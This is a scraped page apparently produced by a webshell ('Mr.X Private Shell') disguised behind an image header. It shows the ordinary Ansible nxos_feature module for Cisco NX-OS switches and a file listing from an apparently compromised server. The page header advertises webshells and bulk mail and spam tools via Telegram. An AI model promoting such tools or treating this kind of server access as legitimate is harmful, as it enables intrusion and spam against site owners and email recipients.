����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import absolute_import, division, print_function


__metaclass__ = type

DOCUMENTATION = """
module: nxos_feature
extends_documentation_fragment:
- cisco.nxos.nxos
short_description: Manage features in NX-OS switches.
notes:
- Tested against Cisco MDS NX-OS 9.2(2)
description:
- Offers ability to enable and disable features in NX-OS.
version_added: 1.0.0
author:
- Jason Edelman (@jedelman8)
- Gabriele Gerbino (@GGabriele)
- Suhas Bharadwaj (@srbharadwaj)
options:
  feature:
    description:
    - Name of feature.
    required: true
    type: str
  state:
    description:
    - Desired state of the feature.
    required: false
    default: enabled
    choices:
    - enabled
    - disabled
    type: str
"""

EXAMPLES = """
- name: Ensure lacp is enabled
  cisco.nxos.nxos_feature:
    feature: lacp
    state: enabled

- name: Ensure ospf is disabled
  cisco.nxos.nxos_feature:
    feature: ospf
    state: disabled

- name: Ensure vpc is enabled
  cisco.nxos.nxos_feature:
    feature: vpc
    state: enabled
"""

RETURN = """
commands:
    description: The set of commands to be sent to the remote device
    returned: always
    type: list
    sample: ['nv overlay evpn']
"""

import re

from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.connection import ConnectionError

from ansible_collections.cisco.nxos.plugins.module_utils.network.nxos.nxos import (
    get_capabilities,
    get_config,
    load_config,
    run_commands,
)


def get_available_features(feature, module):
    available_features = {}
    feature_regex = r"(?P<feature>\S+)\s+\d+\s+(?P<state>.*)"
    command = {"command": "show feature", "output": "text"}

    try:
        body = run_commands(module, [command])[0]
        split_body = body.splitlines()
    except (KeyError, IndexError):
        return {}

    for line in split_body:
        try:
            match_feature = re.match(feature_regex, line, re.DOTALL)
            feature_group = match_feature.groupdict()
            feature = feature_group["feature"]
            state = feature_group["state"]
        except AttributeError:
            feature = ""
            state = ""

        if feature and state:
            if "enabled" in state:
                state = "enabled"

            if feature not in available_features:
                available_features[feature] = state
            else:
                if available_features[feature] == "disabled" and state == "enabled":
                    available_features[feature] = state

    # certain configurable features do not
    # show up in the output of "show feature"
    # but appear in running-config when set
    run_cfg = get_config(module, flags=["| include ^feature"])
    for item in re.findall(r"feature\s(.*)", run_cfg):
        if item not in available_features:
            available_features[item] = "enabled"

    if "fabric forwarding" not in available_features:
        available_features["fabric forwarding"] = "disabled"

    return available_features


def get_commands(proposed, existing, state, module):
    feature = validate_feature(module, mode="config")
    commands = []
    feature_check = proposed == existing
    if not feature_check:
        if state == "enabled":
            command = "feature {0}".format(feature)
            commands.append(command)
        elif state == "disabled":
            command = "no feature {0}".format(feature)
            commands.append(command)
    return commands


def get_mds_mapping_features():
    feature_to_be_mapped = {
        "show": {
            "fcrxbbcredit": "extended_credit",
            "port-track": "port_track",
            "scp-server": "scpServer",
            "sftp-server": "sftpServer",
            "ssh": "sshServer",
            "tacacs+": "tacacs",
            "telnet": "telnetServer",
        },
        "config": {
            "extended_credit": "fcrxbbcredit",
            "port_track": "port-track",
            "scpServer": "scp-server",
            "sftpServer": "sftp-server",
            "sshServer": "ssh",
            "tacacs": "tacacs+",
            "telnetServer": "telnet",
        },
    }
    return feature_to_be_mapped


def validate_feature(module, mode="show"):
    """Some features may need to be mapped due to inconsistency
    between how they appear from "show feature" output and
    how they are configured"""

    feature = module.params["feature"]

    try:
        info = get_capabilities(module)
        device_info = info.get("device_info", {})
        os_version = device_info.get("network_os_version", "")
        os_platform = device_info.get("network_os_platform", "")
    except ConnectionError:
        os_version = ""
        os_platform = ""

    if "8.1" in os_version:
        feature_to_be_mapped = {
            "show": {
                "nv overlay": "nve",
                "vn-segment-vlan-based": "vnseg_vlan",
                "hsrp": "hsrp_engine",
                "fabric multicast": "fabric_mcast",
                "scp-server": "scpServer",
                "sftp-server": "sftpServer",
                "sla responder": "sla_responder",
                "sla sender": "sla_sender",
                "ssh": "sshServer",
                "tacacs+": "tacacs",
                "telnet": "telnetServer",
                "ethernet-link-oam": "elo",
            },
            "config": {
                "nve": "nv overlay",
                "vnseg_vlan": "vn-segment-vlan-based",
                "hsrp_engine": "hsrp",
                "fabric_mcast": "fabric multicast",
                "scpServer": "scp-server",
                "sftpServer": "sftp-server",
                "sla_sender": "sla sender",
                "sla_responder": "sla responder",
                "sshServer": "ssh",
                "tacacs": "tacacs+",
                "telnetServer": "telnet",
                "elo": "ethernet-link-oam",
            },
        }
    else:
        feature_to_be_mapped = {
            "show": {
                "nv overlay": "nve",
                "vn-segment-vlan-based": "vnseg_vlan",
                "hsrp": "hsrp_engine",
                "fabric multicast": "fabric_mcast",
                "scp-server": "scpServer",
                "sftp-server": "sftpServer",
                "sla responder": "sla_responder",
                "sla sender": "sla_sender",
                "ssh": "sshServer",
                "tacacs+": "tacacs",
                "telnet": "telnetServer",
                "ethernet-link-oam": "elo",
                "port-security": "eth_port_sec",
            },
            "config": {
                "nve": "nv overlay",
                "vnseg_vlan": "vn-segment-vlan-based",
                "hsrp_engine": "hsrp",
                "fabric_mcast": "fabric multicast",
                "scpServer": "scp-server",
                "sftpServer": "sftp-server",
                "sla_sender": "sla sender",
                "sla_responder": "sla responder",
                "sshServer": "ssh",
                "tacacs": "tacacs+",
                "telnetServer": "telnet",
                "elo": "ethernet-link-oam",
                "eth_port_sec": "port-security",
            },
        }

    if os_platform.startswith("DS-"):
        feature_to_be_mapped = get_mds_mapping_features()

    if feature in feature_to_be_mapped[mode]:
        feature = feature_to_be_mapped[mode][feature]

    return feature


def main():
    argument_spec = dict(
        feature=dict(type="str", required=True),
        state=dict(choices=["enabled", "disabled"], default="enabled"),
    )

    module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True)

    warnings = list()
    results = dict(changed=False, warnings=warnings)

    feature = validate_feature(module)
    state = module.params["state"].lower()

    available_features = get_available_features(feature, module)
    if feature not in available_features:
        module.fail_json(
            msg="Invalid feature name.",
            features_currently_supported=available_features,
            invalid_feature=feature,
        )
    else:
        existstate = available_features[feature]

        existing = dict(state=existstate)
        proposed = dict(state=state)
        results["changed"] = False

        cmds = get_commands(proposed, existing, state, module)

        if cmds:
            # On N35 A8 images, some features return a yes/no prompt
            # on enablement or disablement. Bypass using terminal dont-ask
            cmds.insert(0, "terminal dont-ask")
            if not module.check_mode:
                load_config(module, cmds)
            results["changed"] = True

    results["commands"] = cmds
    module.exit_json(**results)


if __name__ == "__main__":
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
storage Folder 0755
__init__.py File 0 B 0644
nxos_aaa_server.py File 10.19 KB 0644
nxos_aaa_server_host.py File 10.92 KB 0644
nxos_acl_interfaces.py File 10.21 KB 0644
nxos_acls.py File 28.71 KB 0644
nxos_banner.py File 6.44 KB 0644
nxos_bfd_global.py File 9.08 KB 0644
nxos_bfd_interfaces.py File 6.84 KB 0644
nxos_bgp.py File 25.3 KB 0644
nxos_bgp_address_family.py File 30.41 KB 0644
nxos_bgp_af.py File 31.01 KB 0644
nxos_bgp_global.py File 48.43 KB 0644
nxos_bgp_neighbor.py File 18.79 KB 0644
nxos_bgp_neighbor_address_family.py File 33.62 KB 0644
nxos_bgp_neighbor_af.py File 26.84 KB 0644
nxos_command.py File 7.41 KB 0644
nxos_config.py File 22.51 KB 0644
nxos_devicealias.py File 18.33 KB 0644
nxos_evpn_global.py File 2.62 KB 0644
nxos_evpn_vni.py File 9.44 KB 0644
nxos_facts.py File 8.52 KB 0644
nxos_feature.py File 9.21 KB 0644
nxos_file_copy.py File 17.39 KB 0644
nxos_gir.py File 11.5 KB 0644
nxos_gir_profile_management.py File 5.84 KB 0644
nxos_hostname.py File 5.63 KB 0644
nxos_hsrp.py File 15.02 KB 0644
nxos_hsrp_interfaces.py File 6.16 KB 0644
nxos_igmp.py File 4.49 KB 0644
nxos_igmp_interface.py File 21.88 KB 0644
nxos_igmp_snooping.py File 9.72 KB 0644
nxos_install_os.py File 21.07 KB 0644
nxos_interfaces.py File 13.69 KB 0644
nxos_l2_interfaces.py File 12.05 KB 0644
nxos_l3_interfaces.py File 15.12 KB 0644
nxos_lacp.py File 6.39 KB 0644
nxos_lacp_interfaces.py File 9.13 KB 0644
nxos_lag_interfaces.py File 8.66 KB 0644
nxos_lldp_global.py File 8.68 KB 0644
nxos_lldp_interfaces.py File 6.21 KB 0644
nxos_logging.py File 27.52 KB 0644
nxos_logging_global.py File 21.08 KB 0644
nxos_ntp.py File 12.98 KB 0644
nxos_ntp_auth.py File 9.17 KB 0644
nxos_ntp_global.py File 19.63 KB 0644
nxos_ntp_options.py File 4.53 KB 0644
nxos_nxapi.py File 14.01 KB 0644
nxos_ospf_interfaces.py File 43.32 KB 0644
nxos_ospfv2.py File 62.64 KB 0644
nxos_ospfv3.py File 53.01 KB 0644
nxos_overlay_global.py File 5.64 KB 0644
nxos_pim.py File 6.15 KB 0644
nxos_pim_interface.py File 19.74 KB 0644
nxos_pim_rp_address.py File 7.61 KB 0644
nxos_ping.py File 7.05 KB 0644
nxos_prefix_lists.py File 26.39 KB 0644
nxos_reboot.py File 2.24 KB 0644
nxos_rollback.py File 3.51 KB 0644
nxos_route_maps.py File 57.7 KB 0644
nxos_rpm.py File 12.29 KB 0644
nxos_snapshot.py File 12.17 KB 0644
nxos_snmp_community.py File 6.6 KB 0644
nxos_snmp_contact.py File 3.81 KB 0644
nxos_snmp_host.py File 15.1 KB 0644
nxos_snmp_location.py File 3.91 KB 0644
nxos_snmp_server.py File 50.27 KB 0644
nxos_snmp_traps.py File 7.97 KB 0644
nxos_snmp_user.py File 12.34 KB 0644
nxos_static_routes.py File 20.79 KB 0644
nxos_system.py File 12.77 KB 0644
nxos_telemetry.py File 8.98 KB 0644
nxos_udld.py File 7.09 KB 0644
nxos_udld_interface.py File 8.51 KB 0644
nxos_user.py File 15.37 KB 0644
nxos_vlans.py File 10.6 KB 0644
nxos_vpc.py File 15.59 KB 0644
nxos_vpc_interface.py File 9.92 KB 0644
nxos_vrf.py File 19.78 KB 0644
nxos_vrf_af.py File 7.71 KB 0644
nxos_vrf_interface.py File 7.37 KB 0644
nxos_vrrp.py File 12 KB 0644
nxos_vsan.py File 10.8 KB 0644
nxos_vtp_domain.py File 5.73 KB 0644
nxos_vtp_password.py File 7.8 KB 0644
nxos_vtp_version.py File 5.54 KB 0644
nxos_vxlan_vtep.py File 16.86 KB 0644
nxos_vxlan_vtep_vni.py File 15.7 KB 0644
nxos_zone_zoneset.py File 33.96 KB 0644